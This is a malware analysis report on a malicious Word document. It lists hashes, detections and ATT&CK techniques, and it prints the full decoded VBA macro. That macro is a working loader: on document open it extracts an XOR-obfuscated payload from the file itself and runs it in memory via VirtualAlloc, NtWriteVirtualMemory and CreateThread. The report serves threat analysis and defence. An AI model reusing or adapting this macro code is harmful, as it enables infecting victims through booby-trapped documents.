Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25bfccfa3c0516e2…

MALICIOUS

Office (OLE)

33.9 KB Created: 2017-07-24 19:32:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 66a38891387a9ce771fb5b4d27e1f373 SHA-1: a9967d9ec30e6f6c90ea08f1b5ad2e4dc007c6b8 SHA-256: 25bfccfa3c0516e20d9df5b490b8d2f47a2ec73ca2493c1498c6f117b1b991f6
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. The macros utilize Windows API functions such as VirtualAlloc and CreateThread, indicating an attempt to allocate memory and execute arbitrary code. This behavior strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 6

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    ajfOXvqlkvDYAYzhFidt
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4770 bytes
SHA-256: a4f7bfc64cf60b91f4e41975f8fd55e3064519db9600ff981d79792652676181
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function ptYbZB Lib "kernel32" Alias "CreateThread" (ByVal wFIubOddXqP As Long, ByVal YYhVVKtjEF As Long, ByVal jRrAkViyGlilQp As LongPtr, SbCUPgmRVIFqJUHaIRmyCJnSh As Long, ByVal SiZQMqGfRsHKPmXZwSFFyDZk As Long, uERniNJMaodSfVpKE As Long) As LongPtr
Private Declare PtrSafe Function nvnCqojPqsLORIEXXOX Lib "kernel32" Alias "VirtualAlloc" (ByVal EcNYglYke As Long, ByVal mEWSiWri As LongPtr, ByVal eVHYqwzhvrrPY As Long, ByVal NkUTMe As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal urUdUKIyLNStLPoXdwBGeDSMsnAj As LongPtr, ByVal ndEevKENUwMRIJEzwnoyn As LongPtr, ByVal wkxSRyhLGjyRyKnopfKkjaPPv As String, ByVal onWamLtwHtHDTfFiPCsQlUlhXi As LongPtr, ByRef dHwvIwXkUPFXNxbcTHMmFFak As LongPtr) As LongPtr
#Else
Private Declare Function ptYbZB Lib "kernel32" Alias "CreateThread"  (ByVal wFIubOddXqP As Long, ByVal YYhVVKtjEF As Long, ByVal jRrAkViyGlilQp As Long, SbCUPgmRVIFqJUHaIRmyCJnSh As Long, ByVal SiZQMqGfRsHKPmXZwSFFyDZk As Long, uERniNJMaodSfVpKE As Long) As Long
Private Declare Function nvnCqojPqsLORIEXXOX Lib "kernel32" Alias "VirtualAlloc" (ByVal EcNYglYke As Long, ByVal mEWSiWri As Long, ByVal eVHYqwzhvrrPY As Long, ByVal NkUTMe As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal urUdUKIyLNStLPoXdwBGeDSMsnAj As Long, ByVal ndEevKENUwMRIJEzwnoyn As Long, ByVal wkxSRyhLGjyRyKnopfKkjaPPv As String, ByVal onWamLtwHtHDTfFiPCsQlUlhXi As Long, ByRef dHwvIwXkUPFXNxbcTHMmFFak As Long) As Long
#End If

Const yYZnmVCqGkmlIkJnmFynCTHfD = &H1000
Const tzwwGj = &H40

Public Sub ajfOXvqlkvDYAYzhFidt()
    Dim zvWsxdgQLATXKYcQkXqxXbvdKee() As Byte

    zvWsxdgQLATXKYcQkXqxXbvdKee = NOIvWzyXeSPFepvUmuBr(ActiveDocument.FullName)
    Dim OaLFzLBNivzrkuzVJbPZwrulNV As String
    OaLFzLBNivzrkuzVJbPZwrulNV = StrConv(zvWsxdgQLATXKYcQkXqxXbvdKee, 64)
    
    Dim yZSHtYmcKOoyZxpHOxZnDBAuJofwx
    yZSHtYmcKOoyZxpHOxZnDBAuJofwx = Split(OaLFzLBNivzrkuzVJbPZwrulNV, "DAZUZFetUVUPNVcqIzICUBKWjqaqyHsMcgiETIuIsXcKlyTrAygDNArbPcKIFOUmDhNGNywaeajXzZLLwJPZBPYBPgORXLdDdPheKnDbcg")

    Dim zSDMdOpOgtXsOgvDQBhK As String
    Dim YgyEpNaLeVrgoQ As String
    Dim bAhNKRZIDhGsFwirkjfARFoAR As String
    YgyEpNaLeVrgoQ = StrConv(StrConv(yZSHtYmcKOoyZxpHOxZnDBAuJofwx(UBound(yZSHtYmcKOoyZxpHOxZnDBAuJofwx)), 64), 128)
    bAhNKRZIDhGsFwirkjfARFoAR = Mid$(YgyEpNaLeVrgoQ, 3, Len(YgyEpNaLeVrgoQ))

    zSDMdOpOgtXsOgvDQBhK = DrZUnm("NrtCPrZmVYULOilRHJE", bAhNKRZIDhGsFwirkjfARFoAR)
    
    #If VBA7 Then
        Dim KeypcBrbYWPWGKkh As LongPtr
        Dim BYlgoErUKkBdU As LongPtr
    #Else
        Dim KeypcBrbYWPWGKkh As Long
        Dim BYlgoErUKkBdU As Long
    #End If

    KeypcBrbYWPWGKkh = nvnCqojPqsLORIEXXOX(0, Len(zSDMdOpOgtXsOgvDQBhK), yYZnmVCqGkmlIkJnmFynCTHfD, tzwwGj)
    BYlgoErUKkBdU = NtWriteVirtualMemory(-1, KeypcBrbYWPWGKkh, zSDMdOpOgtXsOgvDQBhK, Len(zSDMdOpOgtXsOgvDQBhK), 0)
    BYlgoErUKkBdU = ptYbZB(0, 0, KeypcBrbYWPWGKkh, 0, 0, 0)
End Sub

Public Function NOIvWzyXeSPFepvUmuBr(ByVal rFqkN As String) As Byte()
    Dim YgyEpNaLeVrgoQ As Long
    Dim bAhNKRZIDhGsFwirkjfARFoAR() As Byte
    YgyEpNaLeVrgoQ = FreeFile
    If LenB(Dir(rFqkN)) Then
        Open rFqkN For Binary Access Read As YgyEpNaLeVrgoQ
        ReDim bAhNKRZIDhGsFwirkjfARFoAR(LOF(YgyEpNaLeVrgoQ) - 1&) As Byte
        Get YgyEpNaLeVrgoQ, , bAhNKRZIDhGsFwirkjfARFoAR
        Close YgyEpNaLeVrgoQ
    Else
        Err.Raise 53
    End If
    NOIvWzyXeSPFepvUmuBr = bAhNKRZIDhGsFwirkjfARFoAR
    Erase bAhNKRZIDhGsFwirkjfARFoAR
End Function

Public Sub Document_Open()
    ajfOXvqlkvDYAYzhFidt
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function DrZUnm(jpeixdCYxUxJuvpVD As String, XjqYvmHV As String) As String
    Dim nIIITuRvgdjMgCCuLRRx As Long
    Dim ovwNqdkkUSACwopOmDpDa As String
    Dim StuRGOEKu As Integer, hrWpUTAKRAsFqJVswjKaUdODEV As Integer, a As Long

    For nIIITuRvgdjMgCCuLRRx = 1 To Len(XjqYvmHV)
        a = nIIITuRvgdjMgCCuLRRx Mod Len(jpeixdCYxUxJuvpVD)
        If a = 0 Then a = Len(jpeixdCYxUxJuvpVD)
        
        StuRGOEKu = Asc(Mid$(XjqYvmHV, nIIITuRvgdjMgCCuLRRx, 1))
        hrWpUTAKRAsFqJVswjKaUdODEV = Asc(Mid$(jpeixdCYxUxJuvpVD, a, 1))
        ovwNqdkkUSACwopOmDpDa = ovwNqdkkUSACwopOmDpDa + Chr(StuRGOEKu Xor hrWpUTAKRAsFqJVswjKaUdODEV)
    Next nIIITuRvgdjMgCCuLRRx
    
   DrZUnm = ovwNqdkkUSACwopOmDpDa
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.